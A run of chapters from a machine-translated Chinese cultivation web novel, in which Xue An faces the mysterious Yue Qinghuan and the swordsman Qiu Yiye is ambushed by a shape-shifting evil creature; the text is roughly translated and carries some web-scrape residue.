    Because she really couldn''t understand how this Xue An knew her specific whereabouts and grabbed herself abruptly from the void.


    And not only that, but what made her feel astonished was that even if it was already like this, she still didn''t detect the slightest hostility from Xue An.


    Without hostility, those automatic countermeasures will naturally fail.

 Chapter 2090： Be an honest bystander

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Therefore, she could only stare at Xue An blankly, even ignoring that her life was still in Xue An''s grasp.


    And the audience at this moment is also deadly silent.


    Especially for Huhuan, his mouth was so open that he could squeeze a roast chicken, and he sighed softly after a long time.


    "Fuck, how did he do it?"


    Only Fox Ye took no surprises at this. I knew it would be like this for a long time. This expression was pretended by Old Xue.


    As for Zhuge Zang, after a slight daze, he showed a slight smile, then gently wiped the blood stains from the corners of his mouth, and said lightly: "It must be Brother Xue, otherwise this woman will be uncontrollable!"


    Under the gaze of the audience, Xue An looked at the girl indifferently, and then said coldly: "Are you convinced now?"


    The girl just asked Xue An if she was not convinced, and now Xue An returned these words as they were.


    But this young girl didn''t show the slightest fear, even if she was pinched and lifted into the air, she still had an elegant expression, as if she was not controlled by others.


    She even looked at Xue An with a smile but a smile, "It seems that you are a little bit extraordinary. I really underestimated you just now, so I take back what I said before, you are not bad, at least you are qualified to know me. Exists!"


    "Oh?" Xue An raised his eyebrows slightly, "I should be honored to say that?"


    The girl gave a natural expression, "Of course! After all, there are really not many who know this lady''s name!"


    With that, the brilliance of the girl''s lavender eyes flashed slightly, and an invisible barrier shielded everyone.


    Then the girl said lightly: "Okay, now you can let go of me, I will tell you the name!"


    Xue An didn''t even move, but gradually clenched his palms, staring at the girl coldly.


    "Although under normal circumstances, I would not be cruel to women, but I have a limit to endure!"


    For the first time, the girl''s eyes appeared astonished, "You want to kill me?"


    Xue An sneered, and suddenly moved closer, staring at the girl with frosty eyes.


    "What? You still think I dare not kill you?"


    Xue An''s words were like a sharp sword directly against the girl''s throat, causing her extremely beautiful lavender pupils to shrink sharply.


    It may be that no one has dared to speak to her like this, and even makes her face full of blank expression.


    But immediately, the girl laughed, and then said to Xue An, "You know, this is the first time anyone dared to speak to me like this."


    Xue An''s eyes were cold, "Then you may gradually get used to it!"


    "Hehe, but I like this feeling!"


    Speaking of this, the girl put out her tongue mischievously, and then whispered softly: "I think you should remember the tabby cat in the arsenal before!"


    "You mean the guy who claims to be the uncle cat?" Xue An was taken aback for a moment before asking, "Are you his master?"


    The girl wanted to shake her head, and then remembered that she was being pinched by Xue An, so she could only blink her eyes.


    "Fine, but that guy is tired and lascivious, so I have kicked it out!"


    "Do you know the owner of the arsenal? Who are you?" Xue An asked repeatedly.


    The girl laughed, and then a sly color flashed through those lavender eyes.


    "No need to ask, I won''t answer these questions. In fact, even my appearance has violated the wishes of some people, so I will never say these things!"


    The girl paused, and then continued: "And you can believe that I am absolutely innocent, and I am just pure curiosity when I came here. I just want to know the final result of this matter! Understand?"


    Xue An remained silent and fell into contemplation.


    He believed that what the girl said was true.


    Because even An Yan didn��t know what happened in the arsenal, but the girl explained it to her, which proves that she and the tabby cat must know each other, and it is very likely that they are inextricably linked to the owner of the arsenal. contact.


    Therefore, after thinking for a while, Xue An suddenly let go, and the girl fell down.


    Then Xue An turned around and said faintly: "For the face of this arsenal, you can watch, but if you have the slightest idea to be harmful to the heavens, be careful of your head!"


    After that, Xue An took a step and walked out.


    The girl stroked her throat that had been pinched, and suddenly shouted: "Hey, you have asked me so much, and now I have a question to ask you."


    Xue An stopped and said without looking back: "Say!"


    "How did you find the specific whereabouts of me in the void, and why you obviously did it to me, but I didn''t feel the slightest malice from you?"


    This is also the most depressed place for this girl, because even if Xue An has a trace of malice, then her passive defense will be activated.


    At that time, Xue An''s fate can be seen in this nine-tailed celestial fox Huan!


    Xue An sneered when he heard the words, "It''s very simple. Before I started with you, my spirit had already enveloped the entire Sword Palace star field. If anything abnormal happens in UU reading , I can be the first. Time perceives it, so your whereabouts can''t escape my eyes, as for malice..."


    Xue An turned his head, the golden light loomed in his eyes, "Do you know the Buddha''s cultivation?"


    "Buddha repair? Those monks who can only recite sutras?" The girl was a little surprised.


    "Yes, but you are wrong. The monk doesn''t only chant sutras, but sometimes he uses a compassionate heart to perform thunderbolts, and I... now I am the leader of Buddhist cultivation!"


    After that, Xue An walked forward without looking back.


    The girl''s eyes were full of colors, and the anger that Xue An had previously suppressed was gone, replaced by excitement and curiosity on her face.


    "No wonder the smelly cat praised you so much after returning. It is really interesting. In this way, the final result of this catastrophe is really unpredictable. I really look forward to it more and more!"


    Speaking of this, the girl suddenly shouted: "Hey, don''t you want to know my name?"


    Xue Anlai stopped in front of the barrier set by at least the woman, and then replied with three words in a calm tone: "Not interested!"


    Girl: "..."


    Xuan Even yelled: "You don''t want to know, then I will tell you, you remember it for me, my name is Yue Qinghuan!"


    Xue An didn''t even turn his head and stepped on it.


    boom!


    The barrier shattered, and external sounds poured in, and then Xue An strode away.


    Standing in place, Yue Qinghuan looked at Xue An''s back with a bit of astonishment. It was a long time before she frowned in anger.


    "Asshole, do you know how many people paid any price to know this lady''s name?"


    "I take back what I said just now, relying on your arrogance, you will definitely lose in this catastrophe!"

 Chapter 2091： Romantic debt

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    This storm ended in such a dramatic way.


    The banquet continues, but many people are no longer willing to drink or drink.


    Because they were staring dumbfounded at the young girl who was standing behind Xue An, following him like a shadow, her head was all occupied by big question marks.


    How is this going?


    Why did the young girl who had been fighting with Xue An just now turned into her current appearance in the blink of an eye?


    Especially at the moment, Yue Qinghuan still has a cute and cute image on his face, which makes everyone more puzzled.


    But the more puzzled ones are Huhuan and others.


    I saw him, who was already out of trouble, sitting at a table, looking at Xue An in the distance with eyes full of consternation, and finally couldn''t help whispering softly.


    "My slot, what the **** is going on? What means did Brother Xue use to make this lady so obedient?"


    Fox Ye just smiled when he heard the words, "Ancestor, isn''t it obvious? This lady obviously knows Lao Xue!"


    Speaking of this, Hu Ye also gave a meaningful look at Yue Qinghuan who was behind Xue An, and then said in a voice that only he could hear.


    "Old Xue, do you dare to say that this is not your romantic debt? But you are too blatant. If this is seen by my sister-in-law, your fate..."


    Thinking of the scene from the Asura Field, Hu Ye couldn''t help but shudder in Lingling.


    And Zhang Tianyou, who was sitting by the side, looked at the scene in disbelief after hearing what Fox Ye said.


    Is it true that as the fox said, this mysterious girl really knew Xue An?


    At this moment, there was a sudden commotion in the crowd, and many people stood up and hid respectfully to the side.


    Then An Yan led the two little girls and Huying Arou and the others to separate the crowd and walk over.


    Their appearance made the atmosphere of the audience suddenly become weird.


    Many people looked at Xue An with meaningful eyes.


    Yue Qinghuan couldn''t help but brighten up after seeing An Yan, and then as if deliberately, he walked forward for a half step, getting closer to Xue An''s back.


    This ambiguous distance made Hu Ye take a breath.


    However, Xue An was not moved at all, but smiled at An Yan.


    "Yan''er, you are here!"


    An Yan looked at Yue Qinghuan curiously. First, she was surprised by the girl''s peerless appearance, but she soon returned to normal, and then took a few steps forward and affectionately took Xue An''s arm.


    "Well, husband, I heard that a guest has arrived, so I will come and have a look!"


    With that, An Yan looked at Yue Qinghuan, "Is this this little sister?"


    Yue Qinghuan stood there proudly, without saying a word.


    Xue An said calmly: "Don''t worry about her, she is not a distinguished guest, just treat her as if she doesn''t exist."


    Yue Qinghuan moved his eyes slightly when he heard the words, and just about to say something, he suddenly felt that someone was pulling his skirt.


    When I looked down, I saw two little girls who looked exactly the same and looked at themselves curiously.


    One of them was very surprised and said, "Wow! Sister, your eyes are so beautiful!"


    Just thinking and thinking.


    In the face of such two cute little girls, even arrogant such as Yue Qinghuan, fell in an instant and couldn''t help but squat down, looking at thinking and thinking with bright eyes.


    "It''s a rare twin girl! Who is the sister of you two?"


    Facing this old-fashioned problem, thinking and Niannian couldn''t help but smile.


    "Next to my sister is my sister."


    "Next to my sister is my sister!"


    Yue Qinghuan also smiled, and then stretched out his hand to touch the faces of the two little girls.


    In an instant, many people''s hearts raised their throats.


    Because everyone knows that this seemingly weak girl actually has a variety of incredible methods.


    In case she was malicious about missing her, it would be too dangerous.


    However, Xue An''s eyes only flickered, and did not stop.


    Soon, Yue Qinghuan got his wish and pinched the faces of the two little girls.


    Yue Qinghuan couldn''t put it down with the soft and slippery touch.


    The two little girls also liked this elf-like girl.


    But at this moment, Yue Qinghuan''s gaze narrowed slightly, because she actually sensed an extraordinary breath from the two little girls.


    Although he was still young because of thinking and thinking, these two breaths were still very weak.


    But that kind of noble and noble aura still couldn''t help making Yue Qinghuan tremble.


    "This talent..." Yue Qinghuan had an extremely solemn look in his eyes, just about to speak.


    But at this moment, Xue An on the side said calmly: "There are some things you know in your heart, so don''t say it."


    Upon hearing this, Yue Qinghuan raised his head and took a deep look at Xue An.


    Xue An looked at him coldly.


    In the end, Yue Qinghuan nodded, "Understood!"


    She stood up and took the two little girls very affectionately to the side.


    This almost fantasy scene shocked everyone in the audience.


    Hu Ye couldn''t even close his mouth After a long while, he sighed in a low voice: "Fuck, Lao Xue is still your bull. It''s okay for my sister-in-law not to say you, but I can still make myself annoyed. I''m taking care of my children for myself..."


    This Fox Ye''s misunderstanding of Xue An is obviously getting deeper and deeper.


    At the same time, An Yan looked at Yue Qinghuan not far away and couldn''t help but whispered: "Husband, the origin of this girl is..."


    Xue An''s eyes flickered, and then gently shook his head, "I don''t dare to draw any conclusions now, but it should be no ordinary person."


    "Then what is her purpose here?"


    "In her own words, she wants to observe the development of the whole thing, but I always feel that there is something hidden in it!" Xue An said with cold eyes.


    An Yan wanted to ask something, but after seeing the thoughtful look on Xue An''s face, she closed her mouth.


    And at the same moment, in a void that was only hundreds of millions of miles away from the Sword Palace star field, a brilliance was moving at an extremely fast speed.


    Suddenly, Guanghua stopped abruptly, and then an old man who was as tall as a sword but with gray eyes appeared from inside.


    It was the peerless Sanxiu Qiu Yiye who came out with the sword before.


    I saw him standing in the void, a look of doubt appeared on his face, and then he said in a deep voice.


    "Dare to ask, but Guren-sama?"


    Following the voice, I saw a cloud of mist looming in the void ahead, and then a figure slowly walked out of it.


    Baiyi Shengxue has picturesque eyebrows, and at the same time, there is a thousand layers of evil spirit in the corners of his eyes.


    It is Xue An!


    Although Qiu Yiye''s eyes are invisible, his sword heart is clear and clear, so he can clearly feel the monstrous sword force ahead.


    So he couldn''t help but let out a breath, then clasped his fists.


    "Qiu Yiye, I have seen Master Gulian!"

 Chapter 2092： Is this the ambush you set?

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Back then, Xue An moved the heavens, especially with a red lotus sword intent, so that the sword repairmen did not dare to look up.


    This Qiu Yiye naturally saw Xue An''s greatness and admired him.


    Therefore, after receiving Xue An''s small sword, he immediately revealed his whereabouts and rushed to the sword palace star field.


    Now that I met Xue An halfway by accident, Qiu Yiye naturally behaved very respectfully.


    Xue An couldn''t help but smile, "Brother Yiye is so polite, I''m very grateful for you to come here, why so much courtesy?"


    Qiu Yiye sighed softly, "I think I was defeated by Jiansan. I was blind. I was already a useless person. I didn''t expect that Master Gulian actually remembered me and sent the summoning order personally. Li? I just don��t know that Master Honglian is not in the Sword Palace to receive the strong from all sides. Why is it here?"


    Xue An smiled, "Sword Palace Star Territory has Li Jingxing who is in charge of entertaining, so naturally I don��t care about it. Besides, I just received a message saying that there is a trace of an alien from heaven somewhere. This matter is not trivial. Go take a look."


    "Oh? Traces of evil things outside of the sky? Didn''t you say that it will take a few years before the seal expires? There are now?"


    "It shouldn''t come from that bronze gate, but the sky is so vast, it is inevitable that there are weak defenses, so I must not be careful, just as Brother Ye is also here, why don''t you come with me to find out?" Xue An Said with a smile.


    Qiu Yiye was silent for a moment, and then nodded, "Well, anyway, I have nothing to do now, so I will accompany Master Honglian on this trip."


    "It''s so good!" Xue Anxi smiled, "Then let''s go now!"


    With that, Xue An turned around and led the way.


    Qiu Yiye followed in silence.


    The two are fast, but the sight of a cup of tea spans a star field of tens of millions of miles.


    Suddenly.


    Xue An, who was on the road ahead, suddenly stopped.


    Qiu Yiye also stopped immediately, and then asked faintly: "Is it here so soon?"


    Without turning his head back, Xue An said softly, "Yes, it''s already here, and it''s the area where evil things are infested."


    "Then why stand still?" Qiu Yiye asked.


    Xue An looked back at him and saw Qiu Yiye''s face calm at the moment, and he couldn''t help showing a hint of inexplicable smile.


    "Because I suddenly felt that you should deal with this evil thing in front of you better, just to explore its reality too!"


    With that said, Xue An gave way.


    Qiu Yiye didn''t say a word, but stepped forward, but when he passed by Xue An, he said suddenly.


    "Is this the ambush you set?"


    As soon as this remark came out, Xue An''s face changed abruptly, but even though Xuan returned to normal, he smiled and said, "Brother Yiye, what are you talking about? Why didn''t I understand it!"


    A sneer appeared at the corner of Qiu Yiye''s mouth. Although those gray eyes were dim, they still stared at Xue An.


    "I have to say that your disguise is perfect, and even the unique power of Red Lotus Sword Intent is perfectly simulated, but do you know where you are missing?"


    The smile on Xue An''s face gradually faded, and he looked at Qiu Yiye with cold eyes, "Where?"


    "It''s because you said that Jian Gong is now presided over by Li Jingxing."


    "Just because of this sentence?" Xue An was startled slightly.


    Qiu Yiye nodded, "That''s right! Although separated by hundreds of millions of miles, I can still perceive that Li Jingxing''s aura in the sword palace is very unique, and he is probably already asleep in retreat! In this way, he still How to preside over the sword palace?"


    "So your identity has already been revealed, am I right? A... evil thing from outside the sky?"


    Facing Qiu Yiye''s questioning, this "Xue An" suddenly sneered again and again.


    "It really deserves to be the top swordsman who ranks second only to Li Jingxing. There really are two brushes, but I wonder, since you already know that I''m a fake, why should you come with me?"


    Qiu Yi stood like a sword, and said lightly: "Because I want to know what tricks you are playing, it seems that it is nothing more than that!"


    "Hahahahaha, I just like the arrogance of you ants trapped in the small water pool. Since you are here with me, don''t leave today. Your skin is just right for me!"


    As he spoke, but seeing the figure of this "Xue An" suddenly began to change, the white clothes on his body were directly shattered by the raised muscles, and then the hideous bone spurs pierced the skin and exposed.


    In the blink of an eye, a terrifying monster appeared in front of Qiuichiba.


    It grinned, and the smelly and corrosive saliva dripped down the corners of its mouth, and then he laughed strangely.


    "Success!"


    As he said, it stepped forward.


    This foot really seemed to have stepped on the entire void, but Qiu Yiye didn''t shrink back, a flash of brilliance in front of him, and then an autumn leaf-shaped sword light cut straight out.


    puff!


    Jianmang cut off a large piece of flesh and blood from this monster.


    The monster roared in pain, and then rushed forward with more anger.


    A sneer appeared at the corner of Qiu Yiye''s mouth, and then he waved his hands and slashed the monster straightly.


    In the blink of an eye the monster''s body was chopped out with huge wounds.


    But when Qiu Yiye had the absolute upper hand, he only heard the monster roar.


    "Don''t do it yet?"


    When the words fell, I saw that the surrounding void suddenly changed, and the mist instantly emerged, trapping Qiu Yiye firmly in it.


    Qiu Yiye was shocked, but his reaction was not unpleasant. After stepping on it, countless sword intents slashed out in all directions.


    But soon, these sword intents were all lost.


    Then I heard the monster''s grinning laughter from the fog, "Autumn Leaf, it''s useless, you can''t escape this fog, slowly enjoy the gift I prepared for you, hahahaha!"


    The laughter faded, and then Qiu Yiye suddenly realized that his eyes could see it.


    But at this moment, he found that the surrounding environment was changing rapidly.


    The fog and void faded away and replaced by a desolate grassland.


    Then I saw a person walking slowly among the waist-deep grass.


    A woman with a red mole between her eyebrows.


    "Sword Three!" Qiu Yiye was shocked.


    But the woman on the other side just smiled, "I''m still Sword Four now, but after I defeat you, I can call me Sword Three!"


    Qiu Yiye understood in an instant that this was the scene of the day when he was fighting the sword three!


    But why did you come here?


    Are you in the illusion?


    Is there really such a realistic illusion?


    Qiu Yiye stretched out his hand and stroked the grass blade that was swaying by the breeze.


    The furry disturbance is so lifelike that even Qiu Yiye has a sense of indistinguishability.


    And when he was in a daze, Jian San on the opposite side solemnly said: "Autumn Yiye, let''s take out the sword!"

 Chapter 2093： 1 leaves fall, and the world is autumn

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Qiu Yiye took a deep breath. Regardless of whether all of this was true or not, the monstrous killing intent on Jian San on the opposite side was untrue.


    He was quite sure that as long as he was slightly careless, the illusion would become real.


    After all, killing or being killed in an illusion is nothing new.


    What''s more, Qiu Yiye at this time also had a strong sense of war in his heart.


    After fighting with Jiansan for ten days and nights last time, he finally lost his sight by one move, and as a result, he lost his eyesight and Jianxin broke.


    Although he didn''t fall down because of his strong kendo cultivation and extremely tough will.


    But after all he was defeated, so he will never forget the shame of this battle.


    Now, after a period of healing, Qiu Yiye''s Jianxin has recovered.


    So when he had the opportunity to face Jian Sanzhi again, he couldn''t help but rise up with a raging fighting spirit.


    Nothing else, just to prove yourself.


    Even if the opponent is just an existence in the fantasy world, he wants to challenge himself.


    Therefore, after facing Jian San''s provocation, he slowly drew his sword from his waist.


    The sword has been carried with him since Qiu Yiye''s debut. It is made of ordinary iron, and the whole body is unremarkable. There are even many scars on the sword, as if it would break at any time.


    But such a sword that was like a joke made the three faces of the sword on the opposite side instantly dignified.


    Then Jian San Bian also slowly pulled out a hairpin from behind his head.


    This hairpin is jet-black, like wooden chopsticks.


    But when the sword three was held in his hand, and after a casual wave, the hairpin instantly turned into a short sword that was more than a foot long.


    "Please enlighten me!" Jian San said in a deep voice.


    Qiu Yiye didn''t answer, and directly swung his sword.


    There is no splendid sword aura, no surging power, and even the grass under his feet is not disturbed by half, just a plain wave.


    But just such a sword caused Jiansan''s eyes to burst out with brilliant brilliance, "Good sword!"


    With that, the hairpin sword in her hand was directly pointed in the void in front of her.


    Bang!


    After a dull loud noise, the two swords touched directly, and then a gust of wind was stirred up.


    The strong wind spread, bending the surrounding grass all over.


    A faint smile appeared at the corner of Jiansan''s mouth, and the red mole between his brows became more and more red, "You are very good!"


    "So are you!" Qiu Yiye replied lightly, and then raised his sword again.


    This time, the sword light swept away like snow.


    Jian San was not afraid, and the two directly fought together.


    In fact, there is nothing fancy about this battle.


    No matter it was Jian San or Qiu Yiye, they didn''t use any sword power, but purely compared with sword intent.


    This is purely more profound than who has a deeper understanding of kendo, and the sword heart is more transparent and clear.


    I saw the sword light passing by, and the blades of grass flew like a rain.


    In the blink of an eye, the two had already attacked hundreds of swords, but still did not distinguish between them.


    But at this moment, the surrounding grass suddenly began to grow wildly, and turned into countless black tentacles, directly binding Qiu Yiye''s hands and feet firmly.


    Qiu Yiye snorted, and countless small sword lights suddenly appeared all over his body, directly cutting off the tentacles that bound him.


    But these tentacles seemed to have some kind of magical power. Even if they were cut into blood water, they could still be reborn in an instant, and they would be wrapped around Qiu Yiye''s body like a tarsus maggot.


    At the same time, Jian San on the opposite side had already slashed to the front.


    Facing the already imminent sword, Qiu Yiye took a deep breath.


    This breath seemed to have absorbed all the surrounding air, forming a gust of wind.


    Then he heard Qiu Yiye slowly say: "One leaf falls, and the world is autumn!"


    boom!


    All the sword light around Qiu Yiye''s body turned into yellow fallen leaves in an instant.


    But such fallen leaves are full of infinite murderous opportunities.


    Wherever it went, whether it was the grass that turned into tentacles, or the sword three on the opposite side, they were all chopped into powder.


    In a moment, the entire grassland became empty.


    Qiu Yiye stood in the **** fog and sighed slightly.


    "It''s a pity... this is just a fantasy world!"


    But as soon as Qiu Yiye''s words fell, a sword point suddenly appeared in front of his chest!


    It is the hairpin sword.


    This sword was so sudden that even Qiu Yiye didn''t have any defense at all.


    He didn''t look down until he felt the pain, then slowly turned his head to look behind him.


    Behind him, Jian San was looking at him with a smile, but after he had spoken, Xue An''s voice was speaking.


    "How? How about the present I prepared for you?"


    The pool of blood flowed out, Qiu Yiye felt that his vitality was also fading quickly.


    But he still stared at the sword three in front of him, and then said in a dumb voice: "First use the appearance of sword three to induce me to fight, and then attack suddenly. All of this was designed in advance, right?"


    Jian San giggled, but the laughter was only creepy in human ears.


    "Yes, Qiu Yiye, to tell you the truth, all this is specially designed for you, including this mist, I prepared for you!"


    "What you did is your body! Because only with it can I blend into these heavens perfectly, do you understand?"


    Jiansan��s eyes shone like a dangerous ray of reptiles after seeing their prey, and behind her, the shredded grasses gathered again and finally condensed into one Venomous snake with strange pattern.


    I saw the poisonous snake raised its head, spit out the grass letter, and said gloomily: "What is it for you to talk so much nonsense to him? Hurry up, and the body belongs to you. I want his soul, because this time I was also hit hard. I have to make up for it!"


    "Don''t worry, you have to take a bite of the meal, and you have to do things step by step, are you right? Qiu Yiye?" The evil creature laughed strangely again.


    At this moment, Qiu Yiye''s chest was completely stained with blood, and his complexion became extremely pale because of the blood loss.


    This is the common problem of Jian Xiu.


    When the sword intent is mastered, the lethality can be described as terrifying, but once injured, the body that is very weak compared to physical cultivation and even other cultivators will immediately drag it back.


    "So I want to ask you, are you going to be swallowed up by your soul first? Or do you take over by me first?" The evil creature asked with a grin.


    Qiu Yiye also smiled, although his smile was pale and weak, his eyes were extremely firm.


    "But if I... don''t choose anything?"


    As soon as this remark came out, the evil creature suddenly felt an extremely ominous premonition.


    This premonition made his scalp numb and he was about to have an attack.


    A look of determination appeared in Qiu Yiye''s eyes, and then he solemnly said: "The universe moves, and everything springs!"


    When the words fell, countless sword lights appeared around his body.


    But at this moment, these sword lights changed their previous Xiao Suo sword intent, instead they were full of thrilling power, and in the blink of an eye, they condensed into a bright thunder light, smashing the evil things in front of them.


    The evil creature frightened the souls of the dead, and immediately stepped back, and at the same time roared: "What''s the matter? Are you not Jian Xiu? How can you master the power of thunder?"

 Chapter 2094： Sword Intent Transforms Thunder Seriously Injured

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    As soon as the voice fell, I heard a scream.


    The venomous snake gathered from the grass was struck by thunder.


    In an instant, most of his body became nothing.


    The remaining body also dissipated after a few weak struggles.


    The evil creatures hiding in the distance were almost frightened when they saw it.


    At the same time, Qiu Yiye said coldly: "Who says Jian Xiu can''t control the power of Thunder?"


    With the voice, there was a faint flash of thunder in his eyes.


    When the evil creature saw this scene, he didn''t even dare to hum, then turned his head and fled frantically.


    Because the shock that the thunder gave him just now was too great.


    If it hadn''t been for the hapless viper to stop him, it would be him who died now.


    So he ran without hesitation.


    And when he escaped, the illusion around him was instantly shattered and vanished.


    Qiu Yiye stood in place, his eyes turned gray again, but blood was still dripping from his chest.


    Despite this, his figure is still as tall as a sword, and he stands quietly in the void without saying a word.


    It was not until a long time later, when it was confirmed that the evil thing had indeed escaped, Qiu Yiye spit out a large mouthful of blood, and then the boiling power wilted.


    If that evil thing is not so afraid of death, if you hold on a little longer, you will know that the thunder just now is actually Qiu Yiye''s entire power.


    Because that wasn''t the power of thunder at all, but the power that was transformed with pure and incomparable sword intent.


    What Qiu Yiye is best at is the sword intent of the autumn leaves, which is the most ruthless sword intent among the heavens.


    But things must be reversed. When Xiao Suo''s ruthlessness reaches a certain level, it will faintly breed vitality.


    For example, the sound of thunder after winter comes and spring comes.


    It was the same with the thunder just now.


    But this also means hundreds of times the consumption of sword intent, coupled with the successful sneak attack by evil objects, and the already wounded Jian Xin, all of which put great pressure on Qiuichiba. .


    In fact, if it hadn''t been for the extremely tough will to support him, he might have fallen down just now.


    Even so, being able to hold it up to now is already the limit.


    Qiu Yiye barely knelt to the ground, panting heavily.


    With every breath, more blood will gush out from the wound on the chest.


    This also means that his life is fading fast.


    But soon, Qiu Yiye raised his head again, his eyes filled with an expression of incomparable determination, and he whispered softly.


    "There are evil things in the heavens, and they can be transformed into other people''s images to bluff and deceive. This is not a trivial matter. You must inform Master Honglian!"


    Speaking of this, Qiu Yiye slammed a hand into the wound on his chest, and then sutured the damaged organ with a trace of sword intent, and sew the wound from the inside out. Blocked.


    In an instant, the rush of blood was stopped.


    But this is just an expedient measure, because once Qiu Yiye''s own vitality declines to a certain extent, then these sword intent will instantly collapse, and then what is waiting for him will be a situation of blood collapse and death.


    But at the moment Qiu Yiye couldn''t care much anymore, and saw that after he blocked the wound, he immediately flew up and stumbled towards the sword palace star field.


    Originally, it was only hundreds of millions of miles away from the Sword Palace Star Territory, but if it was left in the past, it would take only half an hour to arrive.


    But for the current Qiu Yiye, the journey of hundreds of millions of miles is as long as the sky.


    In order to maintain his strength without a major collapse, he can barely maintain a minimum speed and fly forward.


    In this way, the time on this journey was lengthened infinitely.


    After a full three hours, Qiu Yiye''s forehead had already appeared densely with beads of sweat, which was a sign of extreme weakness.


    Even so, it was only less than a tenth of the distance.


    Hallucinations began to appear in Qiu Yiye''s eyes, and the sword light that maintained his flight was faltering, as if it would break at any time.


    But it was also at this moment, in the void not far away, suddenly two radiances flashed, and then one of them mumbled and said.


    "Master, what''s wrong with this person? It looks like he was seriously injured!"


    Guanghua stopped, and two figures emerged from it.


    The person who is called the master is extremely tall, and his whole body is like a knife and an axe, with extremely beautiful muscle lines.


    Although just standing there simply, every single muscle seems to contain explosive power, which is daunting.


    He also looked at Qiu Yiye in amazement, but soon his eyes widened.


    "How is it possible, isn''t this Qiu Yiye?"


    With that, he immediately rushed to the front.


    After feeling the breath approaching, Qiu Yiye instinctively took a half step back and made a defensive posture.


    But soon, he noticed the strangeness of this aura.


    At the same time, I only heard this man say anxiously: "Friend Yiye, what''s wrong with you? How did you make it like this?"


    Hearing this familiar voice, Qiu Yiye finally breathed a sigh of relief, and then said softly: "Brother Wuxiang, please take me to see Master Gulian!"


    After all, the only bit of sword light on Qiu Yiye''s body burst into pieces, and then he passed out completely, and his body fell backward.


    The man screamed, immediately rushed forward, and grabbed the fainted Qiu Yiye.


    At this time, his apprentice also came to the front, UU Reading "Master, what is going on? How did I hear him say Mr. Gulian? Does it have anything to do with the instructor?"


    That''s right!


    It was Zhou Da Niu who was talking, and this man was the first body of all heavens to cultivate Chu without a form!


    After solving the earth''s crisis, Chu Wu''s relatively talented Zhou Daniu could be said to admire him, and finally accepted him as an apprentice, and then brought him back to Longxiangmen.


    In the Longxiangmen, because of Chu Wuxiang''s full teaching, Zhou Daniu finally showed his terrifying talent in physical training, and his cultivation base can be described as rapid progress.


    However, in a few years, he successfully broke through several realms, and finally came to the top level of Luo.


    This level of cultivation, combined with his age, is enough to stand out from the crowd.


    Chu Wuxiang was even confident, as long as he was given a few more years to train him, Daniel would surely break through again this week, and eventually become a master of physical training.


    At this moment, they received a notice from Xue An.


    The great calamity of the heavens is approaching, and everyone must unite to fight against evil things.


    After receiving this news, Chu Wuxiang and Zhou Daniu immediately left everything at hand and came towards the Sword Palace Star Territory.


    But because physical training itself is not good at hurrying, I didn''t rush here until today.


    But I didn''t expect to encounter the seriously injured Qiuichiba.


    Chu Wuxiang checked the injuries on Qiu Yiye''s body, and his expression became extremely serious.


    Because it can repair such a peerless sword like this, the opponent''s strength can be imagined.


    In addition, before Qiu Yiye went into a coma, she named her surname to see Xue An.


    Therefore, Chu Wuxiang said solemnly: "Da Niu!"


    "The disciple is here!"


    "Open the road ahead, I will rush to the Sword Palace star field immediately!"


    "Yes!"

 Chapter 2095： Unlucky night sky bright

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Rumble!


    Zhou Daniu ran through the void like a bulldozer.


    Wherever he went, even the space was plowed into a deep chasm. This momentum naturally made the passing pedestrians look at him.


    Because this place is not far from the Sword Palace star field, so many people passed by here, and after seeing this scene, everyone stopped and stopped.


    "What''s the matter? Who is the big man in front? It''s just a journey, why is there such a big momentum?" Someone said with astonishment.


    "It should be physical training!" someone said softly.


    "Physical training?"


    "Yes! Because apart from physical training, no cultivator would drive so arrogantly."


    "But this is too exaggerated!" The speaker watched as Zhou Daniu hit a monk who had no time to dodge, and couldn''t help but exclaimed.


    "I guess there is something urgent, get out of the way, let them pass first!"


    Everyone evaded one after another and dodged a path.


    Zhou Daniu ran over it like a rainbow, and Chu Wuxiang followed the unconscious Qiu Yiye behind him.


    Seeing that it was about to step into the Sword Palace Star Territory, at this moment, a star boat flew out slowly, and blocked Zhou Daniu''s path to death.


    "Quickly get out of the way!" Zhou Daniu shouted in a muffled voice.


    But it was too late, and only heard a muffled sound, the two collided firmly.


    Ye Kongming has been in a very good mood recently, because in the Sword Palace star field, he has seen many experts who are not qualified to meet in the past.


    Now he is very fortunate that he followed his grandfather to participate in this experience, otherwise he has been hiding at home, he will never know how big the sky outside is.


    Today, he received a mission to patrol around the Sword Palace star field to prevent disturbances.


    After receiving this task, Night Sky Ming was so excited that he immediately drove the Xingzhou to the edge of the sword palace star field with confidence.


    But as soon as he flew out of the sword palace star field, Zhou Daniu arrived.


    Before Ye Kongming could react, the two collided heavily.


    After a loud noise, the starship that Ye Kongming was driving let out a groan that was overwhelmed and then broke apart.


    Ye Kongming was even more shocked and flew out, but in the midair, he was still confused.


    In fact, from the beginning to the present, the night sky hasn''t seen Zhou Daniu''s shadow at all, and he doesn''t even know what happened.


    He just felt a huge brilliance rushing straight forward, and then the star boat he was driving broke through with a huge shock, and then it completely disintegrated.


    Just as he looked dumbfounded, Chu Wuxiang, who was carrying Qiu Yiye, hurried past, and then left a word.


    "Little brother, I''m sorry, we are a bit urgent, and I hope to forgive me!"


    After all, he flew into the sword palace star field behind Zhou Daniu.


    Looking at the glorious rays of light going away, the night sky stood there blankly, dumbfounded.


    It wasn''t until a long time later that an idea came to his mind.


    Did you rush to Xingzhou? How could something happen as soon as the Xingzhou is opened, and as soon as the Xingzhou is opened.


    The first time I collided with Jiu Jianxian, and almost caused a major accident, this time it was even better, even the Xingzhou was gone, and it was directly hit and shattered.


    No way!


    I have to find someone to have a look.


    I heard that the master Zhuge Dao''s skills are shaking the sky, or ask him to break it for himself, this is always going to happen!


    Ye Kong clearly stood in place and started thinking wildly.


    At the same time, Zhou Daniu has rushed into the star field aggressively.


    His momentum naturally shocked everyone in Jian Palace.


    Jane Zaixin led the crowd just as they were about to stop, Xue An did not know when he had already appeared in the court, and said in a deep voice: "Don''t do it, it''s your own!"


    At the same time, after Zhou Daniu saw Xue An, he stopped, his inertia was so great that he even cracked the space under his feet.


    Then he stood in front of Xue An respectfully, bowed his head solemnly and said: "Instructor!"


    Xue An nodded, but all his eyes were cast on Chu Wuxiang, who came after him.


    "what happened?"


